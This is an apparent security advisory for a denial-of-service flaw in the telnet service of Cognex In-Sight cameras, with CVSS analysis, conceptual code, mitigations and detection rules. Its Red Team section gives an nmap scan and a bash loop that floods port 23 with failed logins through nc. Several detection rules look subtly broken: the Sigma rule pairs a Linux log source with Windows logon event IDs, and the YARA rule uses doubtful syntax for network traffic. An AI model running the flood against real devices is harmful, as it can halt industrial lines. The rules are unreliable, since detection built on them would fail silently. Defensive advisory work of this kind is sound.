CVE-2025-54860

Executive Summary

CVE-2025-54860 exposes a critical Denial-of-Service (DoS) vulnerability in Cognex In-Sight Explorer and In-Sight Camera Firmware. The telnet service on port 23, intended for management operations such as firmware upgrades and device reboots, suffers from improper handling of login failures. An unauthenticated attacker can repeatedly send failed login attempts, causing the telnet service to become unreachable, effectively locking out legitimate administrators and halting remote management. With a CVSS score of 7.7, this vulnerability poses a high availability risk to industrial vision systems, potentially disrupting manufacturing lines and quality inspection processes. No public exploit code or patch is currently available, making proactive detection and mitigation essential.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed to trigger the DoS.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component remains the same.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): None (N) – No data modification.
• Availability (A): High (H) – Complete loss of telnet service availability.

Threat Level: High. The vulnerability is easily exploitable by unauthenticated attackers, and the impact on availability is severe for industrial environments relying on remote device management.

Deep Dive & Mechanics

The vulnerability resides in the telnet service (port 23) of Cognex In-Sight devices. The service is designed to authenticate users before allowing management operations. However, the authentication mechanism does not properly limit or handle repeated login failures. When an attacker sends a high volume of failed login attempts, the service enters an unreachable state, likely due to resource exhaustion (e.g., connection table overflow, thread pool depletion, or a lockout mechanism that is not reset). This prevents any further connections, including legitimate administrative sessions, until the device is manually rebooted or the service is restarted.

The root cause is a lack of rate limiting, connection throttling, or proper session cleanup after failed authentication attempts. The service likely allocates resources for each connection attempt without releasing them upon failure, leading to a denial-of-service condition.

Vulnerable vs. Patched Code

No patched code is available. The vulnerable code is the telnet service implementation within Cognex In-Sight Explorer and In-Sight Camera Firmware. A hypothetical fix would involve:

• Implementing rate limiting on login attempts (e.g., max 5 attempts per minute per source IP).
• Properly closing and releasing resources after each failed authentication.
• Adding a connection timeout and cleanup mechanism for idle or failed sessions.

Vulnerable Code (Conceptual):

def handle_telnet_connection(conn):
    while True:
        credentials = conn.receive_credentials()
        if authenticate(credentials):
            break
        else:
            # No rate limiting, no resource cleanup
            continue
    # Management operations

Patched Code (Hypothetical):

def handle_telnet_connection(conn):
    attempts = 0
    while attempts < 5:
        credentials = conn.receive_credentials()
        if authenticate(credentials):
            break
        else:
            attempts += 1
            time.sleep(1)  # Rate limiting
    if attempts >= 5:
        conn.close()  # Proper cleanup
        return
    # Management operations

Exploitation & Lab Setup

Red Team

Objective: Deny telnet service availability to legitimate administrators.

Lab Setup:

• Target: Cognex In-Sight camera with telnet exposed on port 23.
• Attacker: Kali Linux machine on the same network.

Exploitation Steps:

1. Scan for Cognex devices with telnet open:

   nmap -p 23 --open 192.168.1.0/24
   

2. Use a simple script to flood the telnet service with failed login attempts:

   #!/bin/bash
   TARGET="192.168.1.100"
   while true; do
       echo -e "invaliduser\ninvalidpass" | nc -w 1 $TARGET 23
   done
   

3. After a few seconds, attempt a legitimate telnet connection:

   telnet 192.168.1.100 23
   

   The connection will hang or be refused, confirming the DoS.

Expected Outcome: The telnet service becomes unreachable, preventing any remote management.

Blue Team

Detection & Response:

• Monitor for a high volume of failed telnet login attempts from a single source IP.
• Set up alerts for connection timeouts or service unavailability on port 23.
• Implement network segmentation to limit access to Cognex devices to trusted management hosts only.
• Use a firewall to rate-limit incoming connections to port 23.

Mitigation Steps:

• If possible, disable the telnet service and use SSH or a VPN for management.
• Apply any vendor-supplied firmware updates as soon as they become available.
• Implement an intrusion prevention system (IPS) rule to block excessive telnet connections.

Indicators of Compromise (IOCs)

• Network IOCs:
  • High volume of TCP connections to port 23 from a single IP address.
  • Repeated failed authentication attempts in telnet logs.
  • Telnet service becoming unresponsive or refusing connections.
• Host IOCs:
  • Device logs showing repeated "Login failed" messages.
  • System resource exhaustion (e.g., high CPU or memory usage) on the Cognex device.
• File IOCs:
  • No specific file-based IOCs; this is a network-level DoS.

Detection Engineering

YARA Rule

rule CVE_2025_54860_Telnet_DoS {
    meta:
        description = "Detects telnet traffic patterns indicative of CVE-2025-54860 exploitation"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-54860"
    strings:
        $telnet_init = /\\xff\\xfb\\x01\\xff\\xfb\\x03\\xff\\xfd\\x18/  // Telnet negotiation
        $failed_login = "Login incorrect" nocase
        $invalid_user = "invaliduser" nocase
    condition:
        $telnet_init and (#failed_login > 10 in (0..60)) or ($invalid_user)
}

Sigma Rule

title: CVE-2025-54860 - Cognex Telnet DoS Attempt
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects multiple failed telnet login attempts from a single source to a Cognex device
author: Valters IT
date: 2025/01/01
logsource:
    category: authentication
    product: linux
detection:
    selection:
        EventID: 4625  # Windows failed logon
        LogonType: 10  # RemoteInteractive
        TargetUserName: 'invaliduser'
    condition: selection | count() by SourceIp > 10 within 60s
falsepositives:
    - Legitimate misconfigured clients
level: high

Suricata Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET 23 (msg:"CVE-2025-54860 Cognex Telnet DoS Attempt"; flow:to_server,established; content:"|ff fb 01 ff fb 03 ff fd 18|"; fast_pattern; content:"Login incorrect"; within:100; threshold:type both, track by_src, count 10, seconds 60; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Restrict access to the telnet service (port 23) to trusted IP addresses only using firewall rules.
   • If telnet is not required, disable the service entirely.
   • Implement network segmentation to isolate Cognex devices from untrusted networks.

2. Short-Term Mitigation:

   • Deploy an IPS/IDS with custom rules to detect and block excessive telnet connections.
   • Monitor device logs for repeated failed login attempts and set up alerts.

3. Long-Term Fix:

   • Apply vendor firmware updates as soon as they become available.
   • Transition to more secure management protocols (e.g., SSH) if supported.
   • Implement a centralized authentication system with rate limiting.

4. Workaround:

   • Use a VPN or jump host for all remote management to reduce exposure.

Valters IT
Securing Industrial Systems, One CVE at a Time.